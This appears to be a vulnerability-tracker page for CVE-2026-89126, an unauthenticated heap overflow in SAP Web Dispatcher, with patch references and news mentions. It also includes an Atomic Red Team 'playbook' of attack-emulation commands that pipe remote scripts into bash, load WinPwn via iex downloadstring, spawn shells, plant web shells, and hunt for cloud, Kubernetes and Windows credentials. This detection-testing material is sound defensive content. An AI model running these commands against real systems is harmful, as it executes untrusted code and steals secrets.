CVE-2026-89126
Overview
The vulnerability is a heap-based buffer overflow caused by insufficient validation of network input within an internal component of SAP Web Dispatcher. Specifically, the component responsible for processing certain network traffic fails to properly verify input length and structure, leading to memory corruption. This flaw resides in the SAP_SE SAP Web Dispatcher module, which handles incoming network requests and routing.
Vulnerability Description
SAP Web Dispatcher does not sufficiently validate certain network input processed by an internal component. An unauthenticated attacker could send specially crafted network traffic to trigger a memory corruption condition in the affected functionality. Successful exploitation could allow the attacker to execute arbitrary code and fully compromise the system, resulting in a high impact on confidentiality, integrity and availability of the system.
Impact
An attacker can execute arbitrary code remotely on the affected SAP Web Dispatcher system without any authentication or user interaction. This allows full system compromise, including unauthorized access to sensitive data, manipulation of network traffic, and disruption of service availability. The vulnerability enables attackers to breach confidentiality, integrity, and availability, potentially facilitating lateral movement within enterprise environments relying on SAP Web Dispatcher.
Solution
SAP has released a security patch addressing this vulnerability in SAP Web Dispatcher as detailed in SAP Note 3778556. Administrators should apply the update corresponding to their SAP Web Dispatcher version immediately. Additional guidance and patch instructions are available at https://me.sap.com/notes/3778556 and https://url.sap/sapsecuritypatchday. No workaround other than patching is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
47%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (22)
22 mentions from 14 sources in the last 7 days BuzzFactor 84 / 100
-
social bsky.app @undercodenews.bsky.social 2026-11-11 07:20 UTCSAP ICM2Shell Zero-Day Vulnerabilities Enable Unauthenticated Remote Code Execution With Maximum CVSS 100 Severity Critical SAP Kernel Flaws Put Enterprise Systems at Immediate Risk Two critical vulnerabilities dubbed ICM2Shell (CVE-2026-7…Open source
-
code github.com foxcornlab 2026-11-11 04:32 UTCfoxcornlab/sap-patchday-scannerOpen source
-
social bsky.app @packetstorm.bsky.social 2026-11-10 18:47 UTCICM2SHELL (CVE-2026-76964 and CVE-2026-89126): A Critical Pre-Authentication Vulnerability in SAP NetWeaver's ICM and Web Dispatcher https://packetstorm.news/news/view/47624 #newsOpen source
-
news cybersecuritynews.com 2026-11-10 18:12 UTCHackers Can Exploit SAP PROXYGATE and ICM2SHELL Flaws for Unauthorized Full System Access - CyberSecurityNewsOpen source
-
social infosec.exchange @DarkWebInformer 2026-11-10 17:46 UTC🚨 SAP patches critical 10.0-rated flaws allowing hackers to take full control of enterprise systems without authentication SAP has released emergency security fixes for multiple critical vulnerabilities affecting NetWeaver, Web Dispatcher,…Open source
-
news mlq.ai 2026-11-10 12:54 UTCSAP patches four maximum-severity flaws, including Onapsis-found ICM2SHELL and PROXYGATE - MLQ.aiOpen source
-
news gbhackers.com 2026-11-10 12:33 UTCSAP November 2026 Patch Day Fixes Four Maximum-Severity Security Vulnerabilities - GBHackers NewsOpen source
-
news bleepingcomputer.com 2026-11-10 12:07 UTCSAP patches ICM2SHELL and PROXYGATE maximum severity flaws - BleepingComputerOpen source
-
news bleepingcomputer.com 2026-11-10 12:07 UTCSAP patches ICM2SHELL and PROXYGATE maximum severity flaws - BleepingComputerOpen source
-
news the420.in 2026-11-10 11:53 UTCZero Login Vulnerabilities in SAP Threaten Enterprise Systems with Remote Takeover - The 420.inOpen source
-
news cybersecuritynews.com 2026-11-10 11:10 UTCSAP Security Patch Day - Critical SAP NetWeaver, Dispatcher and Gateway Vulnerabilities Patched - CyberSecurityNewsOpen source
-
social mastodon.social @hacksgr 2026-11-10 10:16 UTCSAP has disclosed four major security vulnerabilities affecting SAP NetWeaver and Web Dispatcher, featuring maximum CVSS severity scores. The issues include CVE-2026-120017 in SAML 2.0 allowing unauthorized impersonation, memory corruption…Open source
-
news thehackernews.com 2026-11-10 10:02 UTCSAP Patches Four CVSS 10.0 Flaws, Including Two Enabling Remote Code Execution - The Hacker NewsOpen source
-
news cyberpress.org 2026-11-10 09:49 UTCSAP Patches Four Maximum-Severity Vulnerabilities Affecting NetWeaver and Web Dispatcher - Cyber PressOpen source
-
news rescana.com 2026-11-10 08:43 UTCSAP Security Patch Day November 2026: Four CVSS 10.0 NetWeaver-Stack Flaws — Patch Now - RescanaOpen source
-
social bsky.app @stemshop.bsky.social 2026-11-10 02:09 UTC🚨 CVE-2026-89126 — CVSS 10 CRITICAL SAP Web Dispatcher does not sufficiently validate certain network input processed by an internal component.... 🔎 https://stemshop.top/cve/CVE-2026-89126 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @aiuto-ch.bsky.social 2026-11-10 02:00 UTCCVE Radar | CVE-2026-89126 | CVSS 10.0 SAP Web Dispatcher Memory Corruption NVD describes a critical vulnerability in SAP Web Dispatcher involving insufficient validation of certain network input processed by an internal component. Full an…Open source
-
social bsky.app @stackflag.bsky.social 2026-11-10 01:40 UTCCVE-2026-89126 - sap web dispatcher The SAP Web Dispatcher component can be tricked by specially crafted network data into corrupting its memory. An attacker who does not need any login could then run their own code on… Too many irrelevant…Open source
-
social bsky.app @thehackerwire.bsky.social 2026-11-10 01:32 UTC🔴 CVE-2026-89126 - Critical (10) SAP Web Dispatcher does not sufficiently validate certain network input processed by an internal ... https://www.thehackerwire.com/vulnerability/CVE-2026-89126/ #infosec #cybersecurity #CVE #vulnerability #…Open source
-
social mastodon.social @115755483699003887 2026-11-10 01:31 UTC🔴 CVE-2026-89126 - Critical (10) SAP Web Dispatcher does not sufficiently validate certain network input processed by an internal component. An unauthenticated attacker could send specially crafted network traffic to trigger a memory corru…Open source
-
social bsky.app @thecircuitry.to 2026-11-10 01:28 UTCNVD published unauthenticated SAP flaws, including CVE-2026-89126 and CVE-2026-89103. SAP SE assigned the vectors. NVD has not published base scores, and the entries do not list a fix. thecircuitry.to/article/nvd-publishes-unauthenticated-…Open source
-
social infosec.exchange @cve 2026-11-10 01:08 UTCCVE-2026-89126 Memory Corruption vulnerability in SAP Web Dispatcher SAP Web Dispatcher does not sufficiently validate certain network input processed by an internal component. An unauthenticated attacker could send specially crafted netwo…Open source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-89126 |
| me.sap.com |
GitHub CVE
|
https://me.sap.com/notes/3778556 |
| url.sap |
GitHub CVE
|
https://url.sap/sapsecuritypatchday |